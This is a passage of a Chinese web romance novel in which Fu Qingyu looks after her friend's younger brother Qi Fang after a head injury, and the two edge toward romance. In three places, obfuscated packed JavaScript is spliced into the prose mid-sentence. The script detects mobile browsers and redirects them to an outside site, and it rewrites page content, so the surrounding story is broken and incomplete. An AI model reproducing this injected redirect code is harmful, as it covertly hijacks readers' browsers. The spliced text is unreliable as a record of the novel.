颜泠“嗯”了声,“马上要放十一小假期,军训也训完了,这小子装什么忧郁呢?不会让人欺负了吧?他没住过校,还是让舍友孤立了?” 颜泠一顿猜疑,手里不忘噼里啪啦,发了一连串‘对老弟关爱’。 祁放半天才回她两字:没事。 颜泠深深盯着他回的消息,“都不跟我拌嘴了,完蛋,这绝对有事。不行,我明天去看看他。” “去看一下还放心。”付轻屿嘴上说着,心里也跟着担心了下。 酒足饭饱,颜泠精神劲没过,又叫来几个朋友玩密室。付轻屿连着录了两天节目,实在玩不动了,叫好代驾,提前退场。 落下后车窗,晚风吹在脸上,付轻屿分不清是困了还是醉了,只感觉晕晕乎乎的,脸颊发热,又想起颜泠的话。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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祁放快速擦了两把泪,“我想着不发消息的,想着不来烦你,想的脑袋太难受了,转不动了。我就稍微没控制住,不知道怎么的,就跑过来了,我……” 祁放说到最后,声音有些发虚,“付轻屿,我想你了。” 付轻屿听了一大堆,听得耳根子都软了,却不知道怎么回他。 祁放轻声说了句,“你要不把我删了吧,我挺没自制力的。” 付轻屿叹气,“删了,你就不往这跑了?” 祁放两眼泛红,没说话,答案很明显。 面对祁放,付轻屿实在说不出狠话,“没烦你,最近忙。” 祁放闷声说了两字,“骗人。” 付轻屿盯着他,“非要这么说,可就没什么聊的了。” 祁放撇了下嘴,“我错了。你忙,你最近都忙,忙了一个月。” 付轻屿听出他话里拐着别的意思,气得笑了下,刚想说他,却看出些不对劲。 祁放半靠着墙,还有些站不稳。 付轻屿皱了下眉,“腿怎么了?撞到了?” 祁放心虚地揉了揉鼻子,嘴硬道:“没事。” 23. 23 付轻屿往门口走了几步,见祁放脸色正常,离近了,也没闻到酒味。“没吃晚饭,低血糖?” 祁放摇头:“吃了点,不低血糖。” “那你抖什么?”付轻屿目光在他手指上移开,将人看了个遍,“靠着墙还站不稳?” 付轻屿语气平和,却透着压迫感,祁放被问地心虚,轻声道,“我起猛了,有点晕。” “从你站起来,到现在,少说也有五分钟了。”付轻屿看着他,语气施压,“说话。” 祁放偏过头,“后脑勺碰了下,腿上没劲,没事。” “嗑哪了?多久了?”付轻屿说着,打开手机上的手电筒,又问了遍,“磕哪了?低头。” 祁放打马虎眼,“没事,真的,我现在能跳两下,一点事都没有……” “低头。”付轻屿看着他,脸上没什么表情,眉头稍微压了下。 祁放感觉她生气了,没再说话,乖乖把头低下,指了指撞到的位置。 付轻屿轻轻拨开头发,祁放缩了两下,痒。 “别动。”付轻屿说完,祁放忍着痒,定住。 伤口不大,血迹已经干了,付轻屿放开他的头发,“什么时候撞的?” 祁放一抬头,见付轻屿眉头皱着,一脸不悦,就都招了,“有一会了,半个多小时,一个小时吧,我没看点,不太清楚。” 付轻屿:“还有哪难受吗?” 祁放回想了下,“撞的时候,感觉脑子在脑壳里晃了两下,跟果冻一样。撞完,有点懵,嘴里有点麻麻的。然后就是头晕,没太有力气。” 付轻屿上网搜了下,症状像脑震荡,听他说嘴里麻,又担心伤到神经,别是脑出血就行。 祁放看她查症状,还出声安慰道:“没事,我查过了,可能有点轻微脑震荡。” 脑袋不像胳膊腿,万一出点事可耽误不得。 “去医院,拍ct。”付轻屿说着,打了个车。 这么一闹,祁放都忘记自己来干啥的了,“我自己去就行,不麻烦你了。我想不起来要说啥了,等等再跟你说。” 付轻屿退后两步,“走一个,我看看。” 祁放站直,晃晃悠悠走了几步,“能走,真没事。” 付轻屿先他一步走向电梯,“走吧。” 祁放拖着步子跟上,在电梯里半侧身子,不去看她,“对不起……又给你添麻烦了。” 付轻屿扯过他一条胳膊架着,“撞哪了?怎么撞的?” 祁放看向胳膊上的手,顺势看了看她的脸,整个人就软了,声音也弱下去,“出地铁后,骑自行车,路边停着个小货车,车箱打了一半,应该是坏了,旁边有路障。当时有点黑,我骑得又快,没看好,就撞上了。” 付轻屿:“眼不小,白瞎了。” 祁放被付轻屿架着,两人挨得近,他晃晃悠悠的,不知怎么就靠人身上了。一挨上,心就贪了,不愿起开。“你别生气啊,真没事,我感觉睡一觉就好了。” 付轻屿不知道是急的还是气的,语气冲,“撞了脑袋不去医院,蹲门口能好?多大了,轻重缓急不分。” 前几天看不到人,也收不到消息,心里空得反酸水。现在被骂了,祁放也美,“分得清。我蹲那半天,好多了。” 付轻屿瞪他一眼,“要不是看你头晕,我真想踹你一脚。” “我错了。”祁放看人脸色,又黏黏糊糊地说了句,“我真错了。” 付轻屿感觉祁放真跟个猫似得,一肚子小主意,好说不听,跟他落个脸,就竖着尾巴过来撒娇卖萌。“你没个错。” “错了,真错了。”祁放小声求她,“你别跟我姐说,她真踹我。” 付轻屿没忍住笑,扬了下嘴角,“该踹。” 祁放看她笑,“那就踹吧。” 先拍个片子,看看结果。付轻屿心里叹口气,真有事的话,也瞒不住颜泠。 付轻屿先将祁放按进车里,又转到另一边上车,给司机报完尾号后,顺便看了眼路程时间。 十几分钟,不算远。 祁放头晕乎乎的,坐到车上,开始泛恶心。 付轻屿以为他症状加重,心也跟着吊起来。 祁放犯恶心是一阵一阵的,到医院时,已经好受了些。 付轻屿带他走的急诊,拍完CT要等半个小时,急不了。 两人坐在冰凉的长椅上等,祁放左手滑到她手边碰了碰。 付轻屿:“还是头晕恶心?” 祁放点点头,手指半搭在她手上,“我害怕。” 他没装,真坐在这等,面前人来人往,各个表情凝重,他心里不知怎么了,止不住地发毛。 付轻屿反过来握住他手指,揉了揉,“没事。医生刚才说了,症状不算严重。” 祁放点点头。 付轻屿喝了酒,手暖,祁放本身就跟个小火炉一样,两人手指虚握着,静静等了半个小时,椅子都给烫热乎了。 直到屏幕上出现祁放的名字,付轻屿才松开手,两人一前一后起身,取了胶片和检查报告单。 付轻屿先拿在手里看了看。 祁放抓心挠肝的,自己给自己吓住,不敢直接看,“没事吧?检查报告单怎么写的?” 付轻屿没说话,眉头拧到一起,最后叹了口气。 祁放真知道着急了,“怎么了?”他抱着脑袋前后左右摸了摸,“不会要开刀吧?” 付轻屿将检查报告单举到他面前,“没事。” “啊?”祁放接过单子,直接看向诊断意见——头颅CT平扫颅内未见明显异常,“吓死我了。” “走吧,拿给医生看一眼。”付轻屿也松了口气,不忘呛他句,“你还知道害怕?” 付轻屿走得不快,祁放跟在人身后,探过身子瞅瞅她表情,“你别生气,我明天请你吃饭,吃好的。一顿饭,也不耽误时间,行不?” 付轻屿没出声,祁放又瞧瞧她的摸样,“害你跟我折腾,你不答应,我心里过意不去。我叫上颜泠,我们三个一起,行不?” 付轻屿没看他,“先看病。” 祁放应了声“好”。 付轻屿心里有些气,又掰扯不清楚气啥。 她之前没回消息,祁放也消停了,本以为事情正按预设的方向走,两人联系一淡,那晚告白的事就翻篇了。 没想到祁放杀她个出其不意,突然冒出来,又叽里呱啦一顿,给她心里说得乱七八糟。 付轻屿更没想到,自己的想法会被他一一揭露,又怕他察觉到更多,到时候真就扯不清 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16966554|193406||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了。 撞头这件事,让两人快到临爆点的情绪喘了口气。 医生看完片子,说没什么大事,有点轻微脑震荡,给开了药,叮嘱前七天留意身体反应。 走出医院,祁放头晕恶心的症状并没有缓解,不知道什么时候就上来一阵。 他正说着请吃饭的事,突然泛起恶心,转身捂住嘴,缓了缓。 “还吃饭呢,你先不恶心了再说吧。”付轻屿说,“好好养伤吧,医院不是个好地方,你陪我来一回,我也陪你一回,以后可别往这跑了。” 祁放轻咳两声,被付轻屿摩挲过的手指还有股淡淡的茉莉香,也算拉过手了。 祁放看向付轻屿,又问:“你真没烦我?” “没。” “也不讨厌我?” “嗯。” 祁放沉默两秒,“不烦我,也不讨厌我,那你为什么躲着我?……你不会是喜欢我吧?” 祁放感觉脑袋一撞,撞开花了,撞开窍了。 没想到祁放反将一军,付轻屿心头一紧,随后看向他,面上倒是平静,“趁着还没走,要不再进去检查一遍脑袋,我觉得神经科也得看看。” 祁放完全不接招,笑着问:“你不会是真喜欢我吧?还是怕喜欢上我呀?” 付轻屿心底那点隐晦的情绪被他点明,呼吸乱了分寸,选择话上讨巧,“我喜欢你姐。” “那不行。”祁放完全给自己捋明白了,不给她岔开话题的机会,“那你说说为什么?” 付轻屿装不懂,“什么为什么?” 祁放嗯了声,学她两手背到身后,“不烦也不讨厌,又躲着我呗。” 付轻屿:“我什么时候躲着你了?” 祁放:“不让我发消息,发了也不回,还不让我找你,这不就是躲着我吗?” 付轻屿不承认他的说法,“前一阵忙,看手机时间少,没说过不让你找。” 祁放打好车,笑着说:“忙啊,以后都这么忙吗?” 付轻屿看着他,“不一定,说不准什么时候忙。” 祁放点点头,“就是说,以后有消息能回,有消息不能回,我也能来找你。我们是……好朋友,我说的对不对?” 付轻屿无奈笑了下。祁放将她的表情读出来,“想说‘之前怎么没发现你这么伶牙俐齿’,是不是?” “是。”付轻屿点点头。 祁放臭屁地叹了口气,“可惜了,好朋友,关于我的事,你不知道的可太多了,好奇吗?” 付轻屿笑了下,“我看你是不头晕恶心了。” 祁放笑,“这一阵还行。” 付轻屿:“我看也是,等难受的时候就闭上嘴了。” 祁放不说了,脸上扬着笑,自己美。 “美什么?”付轻屿问了句。 祁放说:“这回我是真想明白了。”等会找颜泠验证一下,就更明白了。 付轻屿问:“明白什么?” 祁放摇头:“不能说。” 付轻屿心里乱,没再问。 祁放自己美了一路,楼下分别时,他说了句,“明天请你吃饭,好朋友。”特意加重了最后三个字。 付轻屿脑海中回响起颜泠说的一句话,“哼,他啊,心里憋法子呢。” 24. 24 进门前,祁放先藏好胶片,不想颜泠问东问西,骂他没脑子不长眼,最后告到家里去。 开门见客厅没亮灯,祁放蹑手蹑脚回房间放好胶片,才出来开灯,喊了声“姐”。 没人应声。 祁放给颜泠打了个电话,‘关心’一下。 颜泠玩得正起劲,下意识想挂电话,看着祁放的名字,想起他这几天的反常,去卫生间接了。 “什么时候回来?” 颜泠听他语气挺欢,不像有事的样子,“年纪不大,说话一股上了岁数的调调,这才九点多,回去干什么?还有我是你姐,别整天管我头上来。” “问一下,不回来就不回来呗。”祁放搜刮冰箱,除了饮料,还有块八百年前的蛋糕,已经长毛了,“我今天回来住了,跟你汇报一声,省得你进门吓一跳。” 颜泠忍不住问他,“你前两天怎么了?” “挺好的啊。”祁放说着,将蛋糕丢进垃圾桶,清理了一下冰箱,“别喝太多,留个心眼。” “用你说。”颜泠听他说话挺正常的,这些天一阵晴一阵阴,不知道是青春期延迟了,还是更年期提前了。她心里想着,没忍住骂出来,“神经病。” 祁放当听不见,头晕恶心劲上来,闭嘴缓了缓,又问:“你今天回来吗?我也有个心里准备,省得以为家里进贼了。” 颜泠懒得跟他多说,“回去,挂了。” 祁放收拾完厨房收拾客厅,下楼丢完垃圾,在客厅守株待兔。 颜泠进门,客厅亮着灯,一片寂静。她寻思祁放睡了,没走几步,看沙发上坐了个跟人一样的玩意,吓了跳。 “你大半夜的不睡觉,四仰八叉地坐这干啥?” 祁放叹一口气,“思考人生。” “神经病啊。”颜泠白他一眼,转身去拿了瓶水,嘴里不忘怼他,“你军训踢正步,把脑子也踢出去了?” 祁放叹息,装得有模有样,“跟朋友吵架了。” 颜泠上下打量他,“你们男生还会吵架啊?不应该啊,大事小事干一架就好了,这不是你们之间的生存法则吗?” 祁放无奈看她一眼,“姐,时代在进步,好吗?” 颜泠问:“那你大半夜不睡觉,想明白对策了?” “我在思考友情。” 思考个屁。颜泠白他一眼,忍住想骂人的冲动。 祁放做了个请的手势,“姐,你和付轻屿这么多年的朋友,怎么维持的?要是吵架了,是不是轻屿…姐先认错?” 他左拐右拐,将话拐到正事上。 “屁嘞!才不是。我先递台阶的次数多。”颜泠坐在沙发上,以为他真遇到交际上的难题了,想着开导一下。 没曾想正中圈套。 祁放一摆手,明显表示不信,甩出一套激将法,“怎么可能?轻屿姐这么温柔的一个人,又好说话,肯定是她先低头的次数多吧。” “怎么不可能。哎?!你还怀疑上了?” 祁放见计策有用,连忙点头,“那肯定啊,轻屿姐温柔又好相处,你这话多少缺点信服力。” 颜泠摆摆手,盘腿坐沙发上,跟他细细掰扯,“温柔不是性格,是能力,是一个人与外界相处的能力。你知道跟一个温柔的人相处,最难的是什么吗?” 祁放摇头。 颜泠指了指心脏的位置,“是这的距离。温柔好相处,是个甜腻腻的陷阱,你在她给的相处模式中享受沉溺,感觉你们如此合拍,逐渐放松警惕,展示出最真实的自己,她还是一如既往的‘温柔’。听出问题所在了吗?” 祁放摇头,“这不挺正常的吗?” 颜泠无奈看他一眼,表情骂了句没救了。“你的心在向她靠近,你怎么判断她的心是远离了,还是靠近了?她一直对你展示着‘温柔’的一面,极少的情绪波动,也是在你先展示出的情绪上做叠加。嗯?” 祁放一脸恍然大悟的表情,“就是说,她设了结界,根本没有对你展露情绪?” 颜泠点头,“喜怒哀乐,是个人都会有的情绪,如果她在你面前一直很‘温柔’,那你对她来说,是不是可有可无?” 祁放看着颜泠,“那你见过轻屿姐哭、生气、发火吗?” 颜泠骄傲地说:“当然了,我可是她最好的朋友,用许妈的话说,那是烂韭菜不破捆。” 祁放点头,和他猜的差不多——付轻屿不喜欢外泄情绪,喜欢心里藏事,自己消化。 祁放又问:“姐,你和轻屿姐的转折点是啥?她为什么对你外泄情绪了?你是怎么发现这些的?” 说来惭愧,颜泠是被动发现的。出事之前,她就沉浸在甜腻腻的陷阱中,一直以为自己很了解付轻屿。为什么只对她倾诉情绪?可能是付轻屿走投无路了,也或许,她是付轻屿关系排名中最靠前的一位。 祁放见颜泠不说话,伸手在她面前挥了挥,“姐!” 颜泠缓过神,一惊,半真半假地说:“高考失利,情绪冲击太大,就没忍住。不说这些了,说说你跟朋友怎么回事吧?” “啊?”祁放说,“我朋友也不喜欢说心事,然后就……”然后他就编不下去了。 颜泠问:“谁啊?陈昊飞啊?还是舍友?总不能是杨灿那个大喇叭啊。” 祁放:“……” 颜泠对他这两个好朋友还真是颇为了解。也对,毕竟小时候他跟杨灿打架,颜泠追着人打了两条街,整的杨灿现在见她都害怕 祁放咳了声,“舍友。” 颜泠狐疑,“刚交的朋友,你这么上心?” “啊,不行吗?”祁放站起身,想知道的都知道了,再说下去可就露馅了,“我知道怎么回事了,睡觉吧,谢谢老姐。” 颜泠伸手拽了他一把,没拽着,“哎?!我还不知道什么事呢!你多少也让我听听吧?卸磨杀驴啊!” 祁放头也不回地往卧室走,“不说了,快睡吧姐,该长皱纹了。” 颜泠拍拍自己的脸,总觉得哪里不太对,又绕不出来,最后洗洗睡了。 祁放躺床上一顿反思,有了颜泠的讲解,加上他的观察,得出一结论——付轻屿对他肯定是有好感的。 这个好感有多少就不知道了。 祁放翻身,又想,付轻屿不回消息,是不是他追得太紧了? 漫画节奏还讲究张弛有度呢,难怪付轻屿不回消息,肯定有这个原因。 祁放又翻了个身,装成熟失败了,得重新考虑对策。大一课多,周一到周五几乎满课,还有晚自习,周六上午一节课。 付轻屿每周六录制节目,正好能找她,周天说不准还能一起玩。 周一到周三不发消息,周四开始联络感情,等到周六周天可以见面,见面后可以断一断联络,周一到周三不发消息…… 连起来了!闭环了! 还松弛有度! 祁放激动地拍床,太聪明了,他简直是个天才! 激动过后,祁放两手枕在头下,笑了笑。反正付轻屿定义了朋友关系,那好朋友找好朋友玩,再正常不过了吧。 第二天,没等祁放请,颜泠已经把付轻屿接到家里来了。 颜泠和付轻屿聊天,祁放没掺和,自己找了点事干,快到中午的时候,才凑到两人面前,“出去吃烤肉,我请。” “你请?”颜泠起身,“等我换身衣服,吃最贵的 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“……”祁放转想了下,“这好像是你第一次怼我哎。” 付轻屿蹙眉,怎么感觉把他怼高兴了? 祁放还想说话。付轻屿见颜泠出来,随即瞪了他一眼。祁放嘴巴一抿,示意自己闭嘴。 祁放像是喜欢上了这种偷偷摸摸的感觉,一趁颜泠不注意,就要提两句撞头的小秘密。 从他说了那句‘真刺激’,付轻屿也被带偏了,心跟着吊起来。 反复几次,她才反应过来,也悄悄给祁放说了句,“不想让颜泠知道的,是你。再闹,我就跟她说了。” 祁放一抿嘴,老实了。 吃完饭,祁放回学校,颜泠去找李杨处理事情。 付轻屿自己开车回家,想了很多。 一直说着顺其自然,到头来,她才是刻意避开的那个。祁放突然过来,完全在她意料之外,被吓一跳是真的,看到祁放时,心里莫名滋生出的那一丝开心也是真的。 人的感受不会说谎,面上都能笑笑,跟谁在一起最开心最舒服,下意识的反应都能表现出来,心里打着明镜。 付轻屿停在红路灯口,这两天一想到祁放,总跟喝了二两白酒一样,晕晕乎乎的。 付轻屿摸出车里烟盒,空了。她压力大的时候,才会摸根,一盒抽半年多,什么时候没的也忘了。 她现在没什么压力,单纯想把祁放从脑子里抽出去。 付轻屿叹气,将烟盒放回去,无意间摸到根棒棒糖。她拿出来瞧了眼,是祁放那天表魔术变的。 橘子味的。付轻屿拆开叼嘴里,祁放挺爱吃橘子,第一次见他就捧了个橘子…… 付轻屿轻笑了下,也不知道自己怎么记得这么清楚,还给串起来了。 橘子糖入嘴,付轻屿彻底被祁放收买了。真顺其自然,祁放想发消息就发,她想回就回,没事一起玩玩,真跟朋友一样也挺好的。 只要坚守不谈恋爱,就没事。付轻屿笑了下,感觉自己还挺渣的,不过也没办法了,祁放这一时半会怕是消停不了。 况且,她也不觉得祁放能坚持多久,年轻气盛的碰几次壁,就知道退了。 高中的时候,有个男生追了付轻屿一年,被拒绝了也坚持,最开始说的海誓山盟天花乱坠,一年后牵着另一个女生说去了。 所以把握当下,能开心就开心一下,走走就散了。 付轻屿彻底想开后,祁放却不发消息了,直到周四才给了点动静。 25. 25 祁放:好几天没联系了,想没想远在清影的学生朋友? 付轻屿心境放开后,总想逗逗他:有吗?好几天了吗? 祁放回了个小狗呲牙咧嘴的表情包,非常不喜欢这个回答。 付轻屿浅笑,敲下几个字:你数着日子呢? 祁放:当然数着日子呢,前几天刚见完面,得给你留点冷静期,害怕你爱上我啊。 祁放:声明一下,我是替你害怕。 付轻屿笑着回他:嘴皮子厉害了。 祁放:你方便打语音吗? 付轻屿看向电脑上的时间,回他:这个点,不吃晚饭去? 祁放:有个事,电话说方便。 付轻屿回了个“嗯”,下一秒,语音通话就弹出来了。 祁放那边闹哄哄的,应该是刚下课,正往食堂走着。他打过电话,矜持了两秒钟,反咬一口,“你怎么不说话?” 付轻屿往厨房走,想着随便弄口吃的,“不是你说‘有个事’吗?等你开口呢。” 祁放小声问了句,“真没想我?” “嗯?”付轻屿故意当做没听见,拿出些水果蔬菜,打算弄个沙拉,省事。 “嗯什么?你肯定听见了。哎,没办法,你工作了,‘大人’朋友多,没空想我这种学生弟。我可想你了。”祁放酸溜溜地说,加重了后面这句话,“当然,身为好朋友地想。” 付轻屿笑了下,“祁放,你要是不说,没人想歪。” “说不过你,”祁放哼了声,“你们下期节目在招募观众,我已经报名通过了。” 付轻屿手中动作停下,“周六没课?” 祁放说:“一二节有课,我上完课过去。” 付轻屿平淡地说:“又没薪酬,快的话也得录制八九个小时,你来干什么,挺累的。” 祁放:“看你啊,顺便看节目。听说这期有个男团,我得去盯着点,看看有帅的吗?” 节目嘉宾,付轻屿都会提前做功课。祁放说到这了,她就顺着回答了句,“他们那个主唱挺帅的,到时候,你仔细看看。” 在节目组招募观众的网页,祁放看见过男团宣传报,当时匆匆滑过一眼,根本没留意人长啥样。听付轻屿一说,祁放立即炸了,找到男团的名字,搜出主唱,使劲看了看。 还行吧,挺白的,眼不小,看着挺清秀的,跟……跟冯适一款的。 “哎!付轻屿!”祁放急火攻心,连名带姓一起叫了,“你是不是就喜欢这一款的?” 付轻屿模糊回答,“还成吧,清清爽爽的,人家长得确实不赖。” 毛头小子的胜负欲加上醋劲,祁放感觉自己快烧着了,火气从七窍往外冒,“那、那我跟他谁帅?你得摸着良心说,也不能因为我是你好朋友,你就包庇我哈。” 付轻屿摘葡萄的动作停下,手放到心口,“摸着良心说,他们主唱帅。” 祁放愣了几秒,深呼一口气,压着快气炸的声音,“不跟你说了,吃饭去。” 付轻屿看着挂断的语音,摇头笑了笑。 祁放硬生生闷着气了一晚上,第二天才给付轻屿发消息。 付轻屿每周五彩排,周六录制节目,如果碰上意外情况,周天还得加个班。这两天是她最忙的时候,祁放的消息被晾了一天。 “祁放,晚上去不去聚餐?” 祁放在图书馆闷了一天,去餐厅的路上遇到舍友,才想起还有个什么聚餐——听说是几个专业自发组建的,为了促进同学关系,实际上,大多数男的都是冲着找对象去的。 祁放摆手拒绝,“我明天有事,晚上打算早点休息。” “真不去啊,你这个时候不主动点,大学保准单四年,去交个朋友也行,脑筋别这么死嘛。” 祁放揉着手,画了一天,有些酸。“真不去了,你们好好玩。” 舍友笑着说:“也是,你这条件的,不缺女朋友。” 另一个舍友笑着应和,“你不去,我们机会还多点,表白墙上都快把你捞烂了。” 祁放尴尬地笑了笑。 三人说笑着走了段,祁放在食堂旁的岔路口跟舍友分开,瞧了眼手机,付轻屿还没回消息! 祁放挣扎两秒后,又给她发了个‘在忙啥’的表情包。 晚饭吃完,祁放总算等到了回信。 付轻屿:彩排,忙了一天。 祁放:嗷,男团去了,眼睛看不过来,肯定没时间看手机,我懂。 付轻屿又半天没回消息。 祁放盯着手机,扯了扯头发,直奔理发店,翻出男团照片,指着主唱跟理发师说:“我要剪成他这样,要看起来清清爽爽的。” 理发师看完照片,一口一个没问题,抬手叫来个人,“带帅哥去洗头。” 留了半年多的头发,说剪就剪,祁放心里稍微有点不舍,看着理发师左右挥剪,逐渐心慌。 要是不好看,岂不更完蛋! 理发开赌,这玩意买定离手,赢了改天换面,输了没脸见人。 他憋了这些天,就等着明天去见付轻屿,还得把那主唱比下去,输不起啊。 祁放看向镜子里的理发师,“老师,麻烦你一定给我剪好看点,我这辈子的幸福,就在这头发上了。” 理发师不是本地人,也不会说普通话,说话带着口音,“帅哥,放心好了,交给我,保准靓的啊。” 祁放听完,更不放心了。 店里人不多,一套洗剪吹下来,将近用了一个小时。祁放火气再盛,这一□□下来,也熄火了。 “帅哥,看看够不够靓啊。”理发师从他面前撤开,放下吹风机,操着口音念魔咒,“绝对够靓啊,比图片上的好看,看一看啊,交给我准没错的。” 祁放乍看到自己短发的样子,满脸写满别扭。不过,确实更清爽了。 “这样看,很年轻很阳光啊,”理发师上手,将他头发往后抓,“这样就很帅,很有男人味啊。绝对比照片上那人好看啊。” 理发师确实有些功力,不仅会剪,更会说。最后这句话,直接说到祁放心里去了。 这赌局,得等明天见了付轻屿,才能定输赢。 祁放出理发店时,付轻屿正好给他回了条消息:你懂什么? 祁放:我什么都懂。那个男团主唱,真人咋样? 付轻屿:你问哪方面? 还哪方面?祁放使劲敲着手机键盘:听你说的,还挺了解人家? 付轻屿:还成吧。人挺有礼貌的,唱歌不错,长得也不错。 付轻屿:不过,今天摸着良心说,你比他帅。 祁放还等着使劲敲手机呢,看完最后这句话,嘴角压都压不住,臭屁地回了句:我明天更帅。 祁放没问付轻屿的意见,十分放肆,直接给她打了个电话。 付轻屿接得不慢,背景音有些嘈杂,先开口问了句,“怎么了?” 祁放支起耳朵听了半天,没听出她在哪,“你干什么呢?” 付轻屿喝了口水,“吃饭。” 祁放:“跟男团主唱一起啊?” 付轻屿笑了下,“我多大面啊,能让人家当红偶像陪吃饭。你那脑子是不是撞没了,我自己。” 祁放背着包,随便找了个长椅坐下,“我脸大,明天请你吃个饭,行不?” 付轻屿:“那得看吃什么?” “那得看你想吃什么?” 付轻屿啧了声,“之前居然没发现,你说话这么不老实。” “哪不老实了?我实话实说。”祁放问,“他给你唱什么了,你觉得好听,我也给你唱。” 付轻屿说:“你明天来现场,也能听到。” 祁放想了下,“你不是刷到过我驻唱的视频吗,你觉得我俩谁唱得好听。” 付轻屿说得干脆,“你。” 祁放被夸得一愣,又问:“真的假的?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16966556|193406||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “假的。”付轻屿笑,“你怎么啥都要比?” 祁放叹气,“这不是年纪不够,在其他地方多找补点嘛。” 付轻屿明白他什么意思,不往话上靠,“那确实得多找补点。” 两人半撩半呛地说了半个钟头,祁放在电话那头陪着付轻屿吃了顿饭。 —— 现场观众一百来人,录制开机,付轻屿也顾不上祁放来没来,直到中午放饭的时候,她大体扫过一眼,没看见人。 化妆间的休息室,许梦几个化妆师正围成一团,听到开门声,齐刷刷转头看去,将中间人露出来。 付轻屿看过去,愣了下,差点没认出祁放。 祁放看见她,立即站了起来。他个子高,身边围着几个化妆师都没挡住他的脸。 祁放头发剪短,脸显得更小了,一双狗狗眼盯着她。付轻屿只剩四个字形容他,‘太水灵了’。 许梦先开了口:“咱弟真帅啊,刚才看他在观众席最后排坐着,我还没认出来,趁着放饭瞧了瞧,才发现是熟人。” 祁放看着付轻屿,笑着挑了下眉头,“今天是不是更帅?” 付轻屿点头,“还行吧。” 祁放留长发有些文艺范,剪短后,显得更阳光了,还有点劲劲的感觉。第一次见面,祁放要是这个形象,付轻屿觉得一见钟情也不是不可能。 许梦把盒饭拿出来分,“轻屿啊,你这评判标准,可太高了。” 祁放跟着说:“就是就是。” 付轻屿笑笑,没再接这一茬,“吃饭吧,快饿死了。” 休息间不大,三面靠墙放着沙发,还有几把椅子。付轻屿一来,祁放就粘到人身边。 两人不远不近坐着,时不时轻声咬耳朵。许梦越瞧越不对劲,扬唇笑了下,心说有情况呀。 最开始,付轻屿说得信誓旦旦,说祁放不是她的菜,许梦信了,没往这方面想,才没察觉到。 现在一瞧,跟付轻屿说的完全不是一回事。 付轻屿和祁放对视,两人眼里都能掐出水来。再看不出点情况来,许梦该都给自己洗洗眼了。 许梦玩笑道:“哎哎哎,这还三四个人呢,你俩有啥悄悄话回家说去,别整的我们抓心挠肝的。” 祁放年纪小耳根子薄,不禁逗,被人当众一点,耳朵瞬时红了,不知道回啥,就闷头扒了两口饭。 付轻屿玩笑回去,“回家说去,还怎么逗你玩。” 许梦可不认输,嘴上跟付轻屿打得有来有回,说笑半天,稍微休息会,便出去工作了。 祁放看着几个化妆师走净,才开口:“哎哟,你俩拿我打趣,我都快坐不住了。” 付轻屿转头瞧他闹了个大红脸,笑着说:“祁放同学,脸皮这么薄,还得练啊。” 祁放说练就练,扒拉两下头发,“怎么样,今天比那主唱帅吧?” 付轻屿禁不住笑,“我说帅,就帅了?” 祁放干脆道:“那是。” “怎么突然想起来剪短发了?” 祁放叹气,“有危机感了,怕自己帅得不够明显,有人可就不跟我做‘好朋友’了。” 付轻屿故意皱起眉头,装装样子,“你‘好朋友’没这么敷衍。” 两人都拿着‘好朋友’当幌子,特别是祁放总爱挂在嘴边。现在这三字一出,就像明晃晃的调情。 付轻屿思忖片刻,又说:“你长头发也挺帅的。祁放啊,要记住,不管是什么关系,都不要刻意讨好,会掩盖你原本的光芒。” 祁放怔怔看着她,脑子一片空白,半晌才缓过劲,“你没事少撩我,我说过,我这人挺没自制力的。” 付轻屿哭笑不得,“我哪撩你了?这不都是平常话嘛。倒是你,这就被撩到了,还是多交几个异性朋友吧。” “不用,”祁放哼了声,“晚上吃火锅去?” 付轻屿起身去工作,笑着留下两字,“再说。” 26. 26 节目录制结束,现场一片混乱的收尾中,付轻屿被陈声宏叫去休息室。 两人一前一后走着,步调快,没有任何沟通,随着一声关门声,气压降到极点。 ‘啪’的一声,陈声宏流程稿件甩到桌子上,两手掐腰,闭眼缓了缓,一副要被气炸的样子。 付轻屿双手随意垂着身侧,衣服上领夹麦没摘,静静看着他耍疯。 陈声宏侧过身,抬手指了指她,气得半天才说出话,“第三轮游戏,为什么擅自换人?我就去趟卫生间的功夫,你就把人给我换了,要不是我看回放,还不知道什么时候才能发现。” 付轻屿似笑非笑:“陈总,你也消消气,小心身体。场上配合不好,当然要及时调动,不然要主持人干什么?” 陈声宏眉毛气飞,“安排表上写得明明白白,小宴和吕雨流量高,这个环节就是为了多给他两镜头,你倒好,第三轮把吕雨换下去了,你要做什么啊你!怎么?我这个陈大负责人话不好听是吧?何雨萌不在了,你也搞搞清楚现状,搞搞清楚位置!” 付轻屿不急不慢地说:“吕雨担不起解说的角,基本上都是主持人帮他说的,实在没法看,前两轮游戏你没看出来吗? 真要给镜头,前两轮也够多了,整个环节近二十分钟,大家跟着尬了十多分钟,还不够吗? 观众也不是傻子,不好玩,镜头再多,大家也会快进。” 陈声宏怒道:“后期啊!我们后期吃白饭的吗?!就挖不出一点亮点来?” 